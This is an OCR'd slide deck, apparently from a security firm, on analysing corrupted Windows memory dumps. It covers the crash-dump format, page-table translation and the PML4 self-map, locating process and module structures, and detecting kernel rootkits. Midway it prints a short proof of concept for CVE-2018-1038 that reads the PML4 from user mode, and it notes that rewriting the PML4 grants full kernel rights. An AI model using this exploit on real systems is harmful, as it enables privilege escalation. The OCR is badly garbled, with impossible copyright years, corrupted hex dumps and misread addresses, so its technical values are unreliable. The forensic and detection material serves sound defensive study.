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Why take a memory dump?

* Collect a memory snapshot

> dumpit

DumpIt 3.0.20171123.2
Copyright (C) 28007 - 2017, Matthieu Suiche <http://www.msuiche.net>
Copyright (C) 2012 - 2814, MoonSols Limited <http://www.moonsols.com>

° I ) f Copyright (C) 2015 - 2017, Comae Technologies FZE <http://www.comae.io>
t’s tast

Destination path:

Computer name: ]

--> Proceed with the acquisition ? [y/n]
’ 1 [+] Information
* It’s simpl
S SI e Dump Type: Microsoft Crash Dump

[+] Machine Information:

Windows version: 10.0.16299

Machineld: |
TimeStamp: 131704462144500061

Cr3: @xlabea2

KdCopyDataBlock: exfffffaeedeasgica

KdDebuggerData: exfffffeeedebebole
KdpDataBlockEncoded: exfffffseedec21fae

Current date/time: [2618-85-1@ (YYYY-MM-DD) 17:16:54 (UTC)]
+ Processing...
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* Creating a memory dump is « easy »

Cool ! Any problems ?

* Creating an analyzable memory dump is a big
deall

* |n a lot of cases (CTF for example), the dump is
a VM’s memory snapshot, so they are always
valid.

* |n real life we take live dumps, OS must
continue to run, and some problems happen...
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Memory dump process

Cool ! Any problem ?
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* To have a good memdump we need to freeze
the OS

But if you do you can have some troubles

Cool ! Any problem ?

* You can trigger a blue screen (not really cool)

In some cases (10% to 20%), volatility and
windbg can’t analyze them. You can't always just
make another dump.
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What happens ?

So we must analyze a corrupted memory dump
not accepted by standard tools...

CHALLENGE ACGEPTED
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* We consider a Dumplt memory dump

CrashDump format

* This executable create a file with crashdump
format

* Crashdump format is...



(ExaTrack

Magic : PAGE Archi : DU64 -> 64b

CrashDump format

0000h: |50 41 47 45)44 55 36 34 |0OF 00 00 00 B1 1D 00 00 @ PAGEDUG4....%

0010h: 00 70 18 00 00 00 00 00 00 00 00 00 80 FA FF FF | .Pevven----. ety

0020h: 90 BAE C9 02 00 F8 FF FF 90 CB C7 02 00 F8 FF FF .@E..ayy.EC..2y¥

0030h: 64 86 00 00 01 00 00 00 4D 41 54 54 50 41 47 45 df...... MATTPAGE

0040h: 4D 4F 4F 4E 00 00 00 00 53 4F 4C 53 00 00 00 00 MOON....SOLS. ...

Count of runs 0050h: 4D 4F 4F 4E 00 00 00 00 53 4F 4C 53 00 00 00 00 MOON....SOLS....
) : 41 47 45 50 41 47 45 50 41 4? 45 50 41 47 45 PAGEPAGEPAGEPAGE
(physical memory 0070h: 50 41 47 45 50 45 50 41 47 45 PAGEPAGEPAGEPAGE
sections) 0080h: 80 00 DO 04 80 FA FF FF|03 DD o:|n 00]50 41 47 45 €.D.€Gyy....PAGE
0090h: [IE_FF_ 03 00 00 00 00 o0olo1 00 00 00 00 00  ~¥eeveveuennnnn.

00 00 00 00 Dl UD 00 00 00 00 00 @ Z..euuwrunonnnnns
00 00 00 OO0 FF 03 00 00 00 00 00 &¥V.e.w... Veounnn
00 00 00 50 41 47 45 50 41 47 45 | ........ PRGEPAGE
47 45 50 41 47 45 50 41 47 45 PAGEPRAGEPRGEFPAGE
47 45 50 41 47 45 50 41 47 45 PAGEPAGEPRGEFPAGE
47 45 50 41 47 45 50 41 47 45 PAGEPRAGEPRGEFPAGE

00A0h: SE 00 00 00
00BOh: EO FD 03 00
00COh: 00 01 00 0O
00D0Oh: 50 41 47 45 50
00EOh: 50 41 47 45 50
00F0Oh: 50 41 47 45 50

Size dumped :
Ox3ff7e<<12 =1'073209°344
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Base of page (<<12)

CrashDump format

0000h: Bl 1D 00 00 | PAGEDU64....+...
0010h: 80 FA FF FF | .DPevcenenn- UV
0020h: 00 F8 FF FF .GE..eyy.EC..eyy
0030h: 50 41 47 45  df...... MATTPAGE
0040h: 00 00 00 00  MOON....SOLS....
Buffer size (<<12) 0050h: 00 00 00 00 MOON....SOLS....
0060h: 50 41 47 45 PAGEPAGEPAGEPAGE

S0 41 47 45 PAGEPAGEPAGEPAGE
50 41 47 45 €.D.€0y¥....PAGE

0070h:

00 _FF 03 00 00 00 00 00) ay....... Veouonnn
00COh: (00 01 00 00 00 00 00 00)50 41 47 45 50 41 47 45 ........ PAGEPAGE
00D0Oh: 50 41 47 45 50 41 47 45 50 41 47 45 50 41 47 45 PRGEPAGEPAGEPAGE
00EOh: 50 41 47 45 50 41 47 45 50 41 47 45 50 41 47 45 PAGEPAGEPAGEPAGE
00FOh: 50 41 47 45 50 41 47 45 50 41 47 45 50 41 47 45 PRGEPAGEPAGEPAGE

Repeat this for each page.

run_1 =raw_crashdump[0x2000:0x2000+(0x9e<<12)]
run_1 address = 0x1 << 12

run_2 =raw_crashdump[0x2000+0x9e000:0x2000+0x9e000+(0x3fde0<<12)]
run_2_ address = 0x100 << 12
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CR3 (base paging)

CrashDump format

PFN database (physical mapping infos)

0000h: 50 41NJ 45 44 55 36 34 OF 0 0 00 B1 1D 00 00  PBAGEDUG4....+

0010h: [00 70 18 00 00 00 00 00] 00 00 00 00 80 FA FE FF]  -Devvcvvvn-s £4YY
0020h: 80 AE €9 02 00 F8 FF FF|90 CB ¢7 02 00 FE FE| .®E..ey¥y.EC..o¥y
0030h: 00 00 01 00 00 00 4D 41 54| 54 50 41 47 45 dt...... MATTPAGE
0040h: 4F 4E 00 00 00 00 53 4F 4c|53 00 00 00 00 MOON....SOLS....
- AF 4F 4E 00 00 00 00 53 4F 4c|53 00 00 00 00 MOON....SOLS....
41 47 45 50 41 47 45 50 41 47|45 50 41 47 45 PAGEPAGEPAGEPAGE
41 47 45 50 41 47 45 50 41 47|45 50 41 47 45 PRGEPAGEPAGEPAGE
00 DO 04 80 FA FF FF 03 00 00 |00 50 41 47 45 €.D.€0y¥....PAGE
FF 03 00 00 00 00 00 01 00 00 PO 00 00 00 00  ~§¥eeeuuuueeen.-.
00 00 00 00 00 00 00 00 01 00 PO 00 00 00 00  2........oo.....
00BOh: EO FD 03 00 00 00 00 00 00 FF 03 00 00 00 00  &Y....... Fowennn
PslLoadedModulelist 00COh: 00 01 00 00 00 00 00 00 50 41 47 45 50 41 47 45 | ........ PAGEPAGE
00DOh: 50 41 47 45 50 41 47 45 50 41 47 45 50 41 47 45 PRGEPAGEPAGEPAGE

5
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00EOh: 50 41 47 45 50 41 47 45 50 41 47 50 41 47 45 PAGEPAGEPAGEPAGE
00F0Oh: 50 41 47 45 50 41 47 45 50 41 47 50 41 47 45 PRGEPRGEPRAGEPAGE

PsActiveProcessHead
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Memory paging

Cool, we have a representation of the physical
memory. Now, we need to access to the virtual
memory |

Virtual -> Physical address translation is done by
your CPU (MMU). You split the virtual address in
4 parts and use each part as an index in a table.
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OXFFFFF80002C2/E90 Memor IN
i emory paging

CR3: 111110000

0x187000
L . PML4/PXE 000000000
PDPE/PPE 000010110

PDE 010011010
PTE
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Memory paging

Entry of a page table :

Y A

software Next physical address
User Writable Present

With this minimal decoding we can acces to all
the virtual space from physical space |
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But....

>>> dg OxFFFFF88002AB5000
PXE [0Ox1fl] : 0x000000003C184863 (OxFEFFFEF88000000000)

PPE [0x0] : 0x000000003C183863 (OxFFFEFEF88000000000)
PDE [0x15] : 0x0000000035001863 (OxFFEFEFEF88002A00000)
PTE [Oxb5] : 0x000000003CFB7860 (OxFFFFEF88002AB5000)

Memory paging

All isn’t so simple with Windows.

63| ->48 ->12 21110
NX / f ,\
software Next physical address

User Writable  Present
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Memory paging

Intel have some bits reserved in a page table
entry. In Windows Bit 11 is for « transition ».

>>> dg OxFFFFF88002AB5000
PXE [0Ox1fl] : 0x000000003C184863 (OxFEFFFEF88000000000)

PPE [0x0] : 0x000000003C183863 (OxFFFEFEF88000000000)
PDE [0x15] : 0x0000000035001863 (OxFFFEFEF88002A00000)
PTE [0xb5] : 0x000000003CFB7860 (OxXFFFFF88002AB5000)

Page is in a working set space and wasn’t
already mapped in this process.
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Ok, good, but here ?

Memory paging

>>> dg 0x7fefac40000
PXE [0Oxf] : 0x5C10000031528867 (0x0000078000000000)
PPE [0x1fb] : 0x0750000035CB7867 (0x000007FEC0000000)
PDE [0x1d6] : 0x1870000027D29867 (0xO00007FEFAC00000)
PTE [0x40] : OxF8A0020B3D580400 (0xO00007FEFAC40000)

Page is not present and not with transition bit.

Welcome in the most WTF entry :-)
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Memory paging

10 bit is « prototype » PTE, It’s used to limit the
risk of differents states for a shared page.

PTE [0x40] : OxF8A0020B3D580400 (0xO00007FEFAC40000)

Shift the entry (>> 16) and you have the real
page |

>>> dg OxFFFFF8A0020B3D58 8

0000F8A0020B3D58 800000002D14A820

>>> !dg 2D14A000 8 Q
000000002D14A000 [EFFO1073AFF010739 O

kd> dg Ox7fefac40000 L1 X

000007fe fac40000 |££01073a ££010739 3
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Memory paging

A Windows trick allows you to access to paging
table from virtual memory !

Windows just set a self reference in PML4 table.

>>> 1dq 0x187000 1000
0000000000187000 0070000026E02847 0000000000000000
0000000000187010 0000000000000000 0000000000000000
[...]
0000000000187F50 0000000000000000 0000000000000000
0000000000187F60 0000000000000000 0000000000187063
0000000000187F70 0000000005181863 000000000019D063
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Memory paging

R There are 4
PEP eiarece indirection tables.
PPE If we select the
same (self-
T mapping) index 3

times we will select
the PPE table we
want to read :-)
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>>> dg Oxffff£68000000000
PXE [0Oxled] : 0x0000000000187063 (OxFFFFF68000000000)
PPE [0x0] : 0x0070000026E02847 (OxFFFFF68000000000)
PDE [0x0] : 0x0080000026E03867 (OxXFFEFFF68000000000)
PTE [0x0] : 0x0090000026E04867 (OxXFFFFF68000000000)
>>> dqgq Oxffff£6£fb60000000
PXE [Oxled] : 0x0000000000187063 (OxFFFFF68000000000)
PPE [0Oxled] : 0x0000000000187063 (OxXFFFFF6FB40000000) 2 LCH)pS
[!] Exception when reading page !
FFFFF6FB60000000 not mapped
>>> dg Oxfffff6fb7da00000
PXE [0Oxled] : 0x0000000000187063 (OxFFFFF68000000000)
PPE [0Oxled] : 0x0000000000187063 (OxXFFEFFF6FB40000000) 3 LCN)pS
PDE [0Oxled] : 0x0000000000187063 (OxXFFFFF6FB7DA0000O0)
PTE [0x0] : 0x0070000026E02847 (OxXxFFFFF6FB7DA0000O0)
>>> dg Oxfffff6£fb7dbed000
PXE [0Oxled] : 0x0000000000187063 (OxXFFEFFF68000000000)
PPE [0Oxled] : 0x0000000000187063 (OxXFFEFFF6FB40000000) 4|_00ps
PDE [0Oxled] : 0x0000000000187063 (OxXFFFFF6FB7DA0000O0)
PTE [Oxled] : 0x0000000000187063 (OxXFFFFF6FB7DBEDO0QO)

Memory paging

1 Loop
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Memory paging

In some cases self-mapping may be a way to
bypass kernel ASLR...

WA\ LE BERRE Stéfan
B @Heurs

rd A
( Follow |
™ - 4

Bypassing Windows 10 kernel ASLR (remoke)

BypassAsIrWin10.pdf

Jypassing kernel ASL
Target : Windows 10

(remote bypass)

Click here !

11:03 AM - 17 Apr 2015

Some months after Microsoft randomized this
page and HAL's heap too.
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Memory paging

But during an update this year (january) we saw
Windows 7 x64 PML4 display this:

kd> r cr3

cr3=0000000026680000

kd> !dg 26680000 L200

#26680000 03600000 14b87867 00000000°00000000

#26680010 00000000°00000000 00000000 00000000

[...]

#26680£50 00000000 00000000 00000000°00000000 _hhh“ _l

#26680£60 00000000 00000000 §O0O00O0000" 2668086,/

#26680£70 00000000 14496867 00000000°0019d0k3

V.

W€
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Memory paging

You can’t read it with NtReadVirtualMemory
because the kernel doesn’t want you to.

il i = €3 Enter expression to follow in Dump... @
lea rax, [rdx+r9] -
cmp rax, rdx Oxffifob 7dbed0nd]
jb loc_14039F 750 Addresse mémoire invalide... FFFFRSFEFDEEDODD
[ I '. oK Annuler

Ll s [-=]

add r9, r8

cmp ra, r8

jb loc_14039F 750

L]

FIFE

mou rex, cs:MmHighestUserAddress

cmp rax, recx

ja loc_14039F 750

L]

s _

cmp ro, rex To: MNtReadUirtualMemory:loc_14039FT7S0

ja loc 14039F 750 ; START OF FUNCTION CHUNK FOR NtReadUirtualMemory

loc_14039FT50:
mou eax, OCOOOOOOSH
jmp loc_1402DET33
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Memory paging

But you can directly access this address with an
instruction.

mov rax,gword ptr ds: [FFFFF&eFE7DBEDOOO] ﬁH Masquer FPU

int3

lﬂg RAX  0320000010578867
nes REX  0000000000000000

Woot ! It works !

So, we can rewrite our PML4, so all kernel land
rights, so you can do anything !
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Poc (CVE-2018-1038) :

Memory paging

int main () { HAAAAARAREAAAAN HARABABAA1DA1BG/
HARAAAAAAAEANAAN HAARRARAEAANABAA
unsigned int i; ARAAAAAAZ 7352863 HHAAAARARAANANAA

_ AABARARRRARARAAA BRPBRBREEABRABAEA
void * pml4;

pmld = (void*)Oxfffff6fb7dbed000;

for (i=0; i < 0x1000; i += 0x10){

printf (" %04x %$016X %016X\n", i, *(unsigned int
*) (pml4+i), * (unsigned int *) (pml4+i+8));

}

return O;



(ExaTrack

Memory paging

Self-mapping is good for vulnerabilities and
exploits, but you can use it in forensics too !

Often when you do a slow memory dump you
have a broken PML4. Your registered CR3 is not
anymore a paging pointer.

In this case Windbg and Volatility can’t analyze
your memory.
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Memory paging

To find a new (probably) valid PML4 you just
have to scan 0x1000 blocs and check for a self-

mapping, also check if rights are goods and PPE
is valid too.

If all is OK you can use it to continue your
investigation.
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Windows kernel structs

We will just interest to 2 structs, the list of
processes and the modules list.

But | don’t want to use symbols or predefined
structs too (not like windbg or volatility).

Challenge : Detect these structs dynamically.
CHALLENGE ACCEPTED
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Windows kernel structs

Remember, in Crashdump header we have
PsActiveProcessHead value.

This is a pointer to the SYSTEM process. Struct
pointed is EPROCESS. This struct have some
interesting values.
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Windows kernel structs

CR3

kd> dt nt! EPROCESS

[...] PID

+0x40 DirectorYTableBW
[...]

+0x180 UniqueProcessId : Ptr64d4 Void

+0x188 ActiveProcessLinks : _LIST_iiiiiffffffffffaf——|3P”)
[...]

+0x290 InheritedFromUniqueProcessId : Ptro64 Void

[...]
+0x2e0 ImageFileName : [15] Uchar

\ Process Name
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Windows kernel structs

Offset of values can change between Windows
versions. But the global disposition is always the
same.

Our pointer PsActiveProcessHead is a
LIST_ENTRY, it references ActiveProcessLinks.
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From this point we can guess values and
automatically detect the fields |

Windows kernel structs

DirectoryTableBase DirectoryTableBase
UnigueProcessid UniqueProcessld
ActiveProcessLinks | ActiveProcessLinks
InheritedFromUniqueProcessld InheritedFromUniqueProcessld
ImageFileName ImageFileName
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Windows kernel structs

From this point we can guess values et
automatically detect the struct offsets!

System

CR3 pointer CR3 pointer 26 SMSS . exe
' ' CSrss.exe

I I wininit.exe

5 CSrss.exe

winlogon.exe
services.exe
lsass.exe
lsm.exe

6. svchost.exe

I I 6 : svchost.exe

svchost.exe

4 ?27?

\ 4

ActiveProcessLinks ActiveProcessLinks

a

svchost.exe
0 4 svchost.exe
3 * audiodg.exe
svchost.exe
svchost.exe
spoolsv.exe

A 4 A 4

‘System’ ‘smss.exe’
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Windows kernel structs

Now we can list processes and map their
memory :-)

Next step is to list the loaded kernel modules.

In addition to PsActiveProcessHead, the
Crashdump format gives us a pointer to
PsLoadedModulelList.
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Windows kernel structs

PsLoadedModuleList points to an undocumented
struct. This struct have some interesting fields :

LST ENTRY | 1 LST ENTRY
ImageBase ImageBase

I I

PUNICODE Name PUNICODE Name
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Windows kernel structs

PsLoadedModuleList points to an undocumented
struct. This struct have some interesting fields :

Pool Header ‘MmLd’ Pool Header ‘MmLd’

tfff88000c25000 Afeee \SystemRoot\system32\mcupdate GenuineInte

»> tfff88000c74000 14000 ystemRoot\system32\PSHED.d11
LIST ENTRY ~ LIST ENTRY fffff83000c88000 5000 temRoot\system32\CLFS.5YS
- - - fffffageeecec000 c2ees
fffffagsenedacene 52000
fffffasoeocpopnn 33000 temRoot\system32\drivers\pci.sys
fffffasoeveizonn dee@ \SystemRoot\system32\drivers\vdrvroot.sys
fffffaseeveiopnn 15000 \SystemRoot\System32\drivers\partmgr.sys
fffffaseevessene P00 0 system32\DRIVERS \compbatt.sys
fffffageeeesecene (ol %15]%] pot\system32\DRIVERS\BATTC.SYS
ImageBase Image Base fffffegeeeec6aren 15000 7 system32\drivers\volmgr.sys
fffffageeee7fone 43000 0 system32\DRIVERS\ks.sys
fffffageeeec2000 12000 Y5
tfff88e00edo0o0 a4000 temRoot\system32\drivers\Wdfe1eee.sys
fffffageeef7dooo foee temRoot\system32\drivers\WDFLDR.SYS
fffffsgeeeafaceeo 57000 temRoot\system32\drivers\ACPI.sy
fffffaseeefelonn 9pe8 ystemRoot\system32\drivers\WMILIB.SYS
Ptr -> ’ntOSkrnLeXE' Name fffffagevefeceno 2000 systemRoot\system32\drivers\msisadrv.sys

fffffaseeleeoees beee \SystemRoot\system32\drivers\msahci.sys

—> 0000000300905A4D OOOOFFFF00000004 MZ..¥...¢...HH. .
00000000000000B8 0000000000000040 ... . .o @uu...
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Windows rootkits

We will see 2 simples methods of detection.

The first one is unmaped PE in kernel memory.

We know how to browse the kernel memory
space (rights and datas) and list modules.
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Windows rootkits

Memory
scan

Search for
executable code in
kernel memory and
check if it’s in the
modules list and if
it have a header.

PE Header MZ-PE

PE module

text Exec Right
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[OK]
[OK]
[OK]
[OK]
[OK]
[OK]
| Wa ] Ll |
[NO]
[0 ]
[OK]
[OK]
[OK]

[OK]
[OK]
[OK]

I s 1
L—-

[Hﬂ]

l UK J
[OK]

[OK]
[OK]
[OK]
[OK]
[OK]

fffffsseoecsseee
fffffageelaf2eee
fffffasee17aceee
tffffaseeefecoon
fffffssen24e0000
fffffsgee18990e0

Lfrrffoonnnd-cnmm

tffffaseeabbgooe
fffffsgee1685000
fffffaseoececno0
tffffaseo6acavon
fffffsgeoleleceee
fffffasgeecbscoee
fffffaseecbo3vee

IIIIInnnn1nh£nnn

fffffagevaca3eee
TTTTTS38UY3953000
fffffasee3c8coon
fffff88003cac000
fffffssev28c6pe0
fffffasgeeec74eee
fffffasee2914000
tffffaseeef7doos

(nn

Windows rootkits

\SystemRoot\system32\CLFS.SYS
\SystemRoot\system32\drivers\vmstorfl.sys
\SystemRoot\System32\DRIVERS\RDPCDD. sys
\SystemRoot\system32\drivers\msisadrv.sys
\SystemRoot\system32\DRIVERS\mrxsmb1@.sys
\SystemRoot\System32\Drivers\Beep.SYS
kc”r+rmnrr+krur+rm31kanUERq\”th”b SYS

(Header overwritten)

\JF:LcanUL\:j:Lcm}LHuﬁIUERS\EiGE@ng.S?S
\SystemRoot\system32\DRIVERS\flpydisk.sys
\SystemRoot\system32\CI.dll
\SystemRoot\system32\DRIVERS\blbdrive.sys
\SystemRoot\system32\drivers\fltmgr.sys
\SystemRoot\system32\DRIVERS\fdc.sys
\SystemRoot\system32\DRIVERS\vgapnp.sys
Veyotomfoot Syotom2 2N drivers\volmgrx. sys
.rsrc)

.text, but
\systemrooLysystemszyarivers\ksthunk. sys
\SystemRoot\system32\DRIVERS\mssmbios.sys
\SystemRoot\system32\DRIVERS\AgileVpn.sys
\SystemRoot\System32\Drivers\secdrv.SYS
\SystemRoot\system32\PSHED.d11
\SystemRoot\System32\DRIVERS\srv2.sys
\SystemRoot\system32\drivers\WDFLDR.SYS




FFFFFAS00ABES00E
FFFFFASERABEBEQ10
FFFFFABOBABB8020
FFFFFABOBABBB8O30
FFFFFAS0BABBE040

FFFFFASERABES050 ¢

FFFFFASB0BABEB8060

FFFFFABOBABB8B/70 ¢

FFFFFAB0BABBE08O
FFFFFASERABEBEQ90

FFFFFABORABB8BAG
FFFFFABORABB80BE

FFFFFASEBABBEOCH
FFFFFASERABEBEQDO
FFFFFAB00AEBEBOEG
FFFFFAB004BB80OFO

is program canno
t be run in
mode....$%

1A;79 U.9 U.

9 T.. U..(..
A.(.; U.a.8.Q
A./.8 U.a.-.
Rich9 U.........

MZ header and PE headers are removed !

(Rootkit: Turla/Snake/Uroburos)
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Windows rootkits

Second method check if the code in-memory
match the on-disk file.

Rootkit implementing this may need to disable /
bypass patchguard.

>

-
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Checking ataport
File : c:\symbols\ataport.sys\4ce792932aeee\ataport. sy
[!] Original code at exfffffgs2ee119b4dl : ¢ C CC cCc 48 83 ec 28 48 8b 41 40 80 b8 da 90 ©© 00 00 75 O7
[!] Modified code at exfffffg8gee119badl : c C CC cc 48 b fe bd 77 @3 8@ fa ff ff ff e@ @0 @@ @0 75 @7

Windows rootkits

original code at exfffffssee119bafo : c C CC cc 48 83 ec 28 48 8b 41 40 80 b8 da o0 e @@ @0 75 07
Modified code at exfffffgseeii1g9bafo : c C CC cc 48 bs fe bd 77 @3 8@ fa ff ff ff ee 66 ee a@e 75 a7

Changes

sub rsp, 0x28
mov rax, qword ptr [rcx+0x40]
cmp byte ptr [rax+0Oxda], 0xO0

mov rax, Oxfffffa800377bdf0 ; No module mapped at this address

jmp rax

(Rootkit: GAPZ.A)
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Conclusion

It’s possible to analyze a corrupted memory
dump, but you need to do some voodoo magic

to doit.

Most of rootkits can be detected with simple
tricks when we have a full memory dump.
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Thank you for your attention.
Any questions ?

Windows 6
Internals
References: E&
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